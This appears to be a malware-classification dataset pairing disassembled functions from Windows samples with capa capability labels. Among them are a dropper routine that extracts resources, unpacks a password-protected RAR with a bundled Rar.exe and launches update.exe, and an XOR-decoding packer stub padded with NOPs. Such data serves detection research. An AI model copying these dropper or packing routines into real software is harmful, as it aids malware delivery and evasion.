joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401020
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40103b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401072
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40106e
jmp 0x401060
cmp esi, eax
jae 0x401072
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401060
cmp esi, eax
jb 0x401079
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x4016a0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x53f9c4
push 0x66
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x4016c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 1
push 2
push 0
push 7
push 0x40000000
push str.C:Program_Files__x86_Fonsdkxgl.rar
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401730
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x53f9f0
push 0x65
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x401758
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
push ebx
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 1
push 2
push 0
push 7
push 0x40000000
push str.C:Program_Files__x86_FonsdRar.exe
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [ebp - 4]
push eax
push ebx
push edi
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4017c0
Capabilities:
Create directory
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
push esi
push edi
nop
nop
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call esi
push 0
push str.C:Program_Files__x86_Fonsd
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.004016a0
call fcn.00401730
push 0x3e8
call esi
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 5
push 0
push str._y_x__pq121__C:Program_Files__x86_Fonsdkxgl.rar___C:Program_Files__x86_Fonsd_
push str.C:Program_Files__x86_FonsdRar.exe
push str.open
push 0
call edi
push 0x7d0
call esi
push 1
push 0
push 0
push str.C:Program_Files__x86_Fonsdupdate.exe
push str.open
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x40d4e5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.00413645
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40d51e
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.0040d127
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40d57c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40d5a0
cmp dword [edi + 0x74], 0
jne 0x40d5a0
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.00413645
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040d53d
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41978a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x4197d1
call fcn.00413645
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4197d1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x4197ed
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0041928f
mov esi, eax
test edi, edi
je 0x4197eb
test ebx, ebx
je 0x4197eb
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x41a484
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x513367
call fcn.004f516c
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x41a4a9
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x41a4fb
call fcn.00401f03
push eax
lea ecx, [ebp - 0x10]
call fcn.00401340
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004f52c2
push eax
call fcn.00401d1c
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004010d0
mov eax, esi
call fcn.004f5244
ret 8

Function at 0x4392dc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4392f6
call fcn.00413645
mov esi, dword [eax + 0xc]
push dword [0x560330]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x439314
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x43930c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x439341
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x43930e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0043920a
mov esi, eax
jmp 0x439333

Function at 0x480a21
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.004806e0
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x480a6b
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00401dfd
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00401dce
jmp 0x480a76
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041c6a8
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x480a7c
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0041a14e
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongA]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x480ab9
call fcn.004806e0
mov dword [esi + 0xc], 1
jmp 0x480abe
call fcn.004806e0
cmp dword [esi], 0
je 0x480b07
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
test eax, eax
jle 0x480adf
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00401dfd
jmp 0x480af1
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.00401390
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00401dce
jmp 0x480b2b
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, 0xffffffff
jne 0x480b2b
push dword [esi]
push dword [ebp + 8]
call fcn.0041c6a8
pop esi
pop ebp
ret 0xc

Function at 0x4beb1c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4beb34
mov edi, dword [esi + 0xc]
jmp 0x4beb74
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4beb4d
call fcn.0040fd01
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4beb62
call fcn.0040fd01
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4beb74
call fcn.0040fd01
call fcn.00413645
cmp dword [eax + 0x3c], 0
je 0x4beb89
push edi
mov ecx, ebx
call fcn.004bd9da
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004bea36
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4beba7
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4bebb3
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4c6a32
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004f00db
call fcn.00413076
cmp dword [eax + 0x14], 0
jne 0x4c6a4f
mov ecx, esi
pop esi
jmp fcn.004c6537
pop esi
ret

Function at 0x4c9f8c
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0041b46c
call fcn.00413076
cmp dword [eax + 0x14], 0
jne 0x4c9fa9
mov ecx, esi
pop esi
jmp fcn.004c995f
pop esi
ret

Function at 0x4f430b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x55c260]
jne 0x4f4315
repz ret
jmp fcn.004fabc3
Function at 0x506eae
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x55c260]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004fd7df
and dword [ebp - 0x14], 0
cmp dword [0x563b08], 0
mov dword [ebp - 0x18], eax
jne 0x506f61
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x507009
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x507009
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x53ea64
push ebx
mov dword [0x563b08], eax
call edi
push eax
call esi
push 0x53ea50
push ebx
mov dword [0x563b0c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x563b10], eax
call edi
push eax
call esi
mov dword [0x563b18], eax
test eax, eax
je 0x506f61
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x563b14], eax
mov eax, dword [0x563b14]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x506fba
cmp dword [0x563b18], ecx
je 0x506fba
push eax
call esi
push dword [0x563b18]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x506fba
test ebx, ebx
je 0x506fba
call edi
test eax, eax
je 0x506fb1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x506fb1
test byte [ebp - 8], 1
jne 0x506fba
or dword [ebp + 0x10], 0x200000
jmp 0x506fed
mov eax, dword [0x563b0c]
cmp eax, dword [ebp - 0x18]
je 0x506fed
push eax
call esi
test eax, eax
je 0x506fed
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x506fed
mov eax, dword [0x563b10]
cmp eax, dword [ebp - 0x18]
je 0x506fed
push eax
call esi
test eax, eax
je 0x506fed
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x563b08]
call esi
test eax, eax
je 0x507009
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x50700b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f430b
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x666b5696
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x28574fdf
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x421d60
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x41c
mov eax, dword [0x42914c]
xor eax, esp
mov dword [esp + 0x418], eax
mov eax, dword [ebp + 8]
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0xc], eax
cmp dword [ebp + 0xc], esi
jle 0x421e3b
mov edi, dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
cmp dword [ebp + 0xc], 0x2d
jne 0x421dc8
push 0
push str.lavufixajedapinenaliketuxuzikow_yopipocefibitonehaduyufatavub_jizosuxamuludofu_zamovipezafamid_muhayaju
call edi
push str.nuzisetokuzu_jin
push str.hedoyeyinabegana
push str.ferejabixenilopurovuyal_dohawegegexarajulebenume_wevunitofa
push str.janifudakigowidedu_kipezafuyikosobodunabecavoj_tulaxodudifadeyeb_mayupokom_cucowicufotucasanogo
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call fcn.00421cb0
mov ecx, dword [esp + 0xc]
xor byte [ecx + esi], al
cmp dword [ebp + 0xc], 0xf
jne 0x421e31
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
xor eax, eax
push eax
lea edx, [esp + 0x24]
push edx
push 0x426f70
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov dword [esp + 0x26], eax
mov word [esp + 0x2a], ax
xor ecx, ecx
lea eax, [esp + 0x1c]
push eax
push ecx
push ecx
mov word [esp + 0x28], cx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0x426f74
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x421d9b
cmp dword [ebp + 0xc], 0x2d
jne 0x421e55
mov dword [0x42c8d0], 0xa62e7790
mov dword [0x42c8d4], 0xffffffff
mov ecx, dword [esp + 0x424]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401a84
mov esp, ebp
pop ebp
ret
Function at 0x422240
Capabilities:
Access the windows event log
Manipulate console buffer
Set file attributes

Disassembly:
sub esp, 0x14
mov eax, dword [0x42c8c4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push esi
mov dword [esp + 0x10], 0x1540b5
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x14]
cmp eax, 0xcc1
jne 0x42227c
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov eax, dword [0x42c8c4]
mov dword [0x42c52c], 0x8e468c60
cmp eax, 0x3dc
jne 0x4222db
push 0
push 0x42722c
call ebx
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x24], eax
call ebp
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
push esi
push 0
push 0
push edi
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AccessCheckByType]
push str.guyojolegulob
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
mov eax, dword [0x42c8c4]
dec dword [esp + 0x14]
jne 0x422268
mov edi, dword [sym.imp.ADVAPI32.dll_OpenEventLogW]
xor esi, esi
mov ebp, 0xec58acac
or ebx, 0xffffffff
cmp eax, 0x997
jne 0x422303
push 0
push 0
call edi
mov eax, dword [0x42c8c4]
cmp esi, 0x846373
jne 0x42231a
mov eax, dword [0x42aad0]
add eax, 0xa231
mov dword [0x42c8c4], eax
cmp eax, 0x141
jne 0x42232d
mov dword [0x42bd18], ebp
mov dword [0x42bd1c], ebx
inc esi
cmp esi, 0x123c962
jl 0x4222f1
call fcn.00421eb0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x14
ret 0x10
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0xdf5008], 0x8088405
inc edx
mov dword [ebx + 0xdf5008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cd64
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cd95
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cd7d
add dl, dl
jne 0x41cda0
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cdf1
xor eax, eax
add dl, dl
jne 0x41cdad
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41ce8e
add dl, dl
jne 0x41cdbc
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdc7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cdd2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cddd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cde7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cd8c
mov eax, 1
add dl, dl
jne 0x41cdff
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41ce0a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cdf6
sub eax, ebx
mov ebx, 1
jne 0x41ce3d
mov ecx, 1
add dl, dl
jne 0x41ce23
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce2e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce1a
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41ce54
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41ce5f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41ce4b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cd8c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41ceaf
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cd8c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41e5a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0xddca63
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e655
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e63e
test esi, esi
jbe 0x41e655
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088e4
test eax, eax
jne 0x41e630
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e655
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e60d
jmp 0x41e655
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e655
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xddca6a
ret
Function at 0x41eec4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0xddd473
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eeff
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41ef18
lea eax, [ebp - 0x10]
mov edx, dword [0xdf72a4]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41ef2b
lea eax, [ebp - 0x10]
mov edx, dword [0xdf72a4]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41ef37
adc edx, 0
mov edx, dword [edx*4 + 0xdf610c]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41f045
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41f038
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41f038
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41f038
cmp dx, 0x150
ja 0x41f038
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41f038
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41f05d
inc ebx
cmp ebx, 0x19
jne 0x41eef1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xddd47a
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret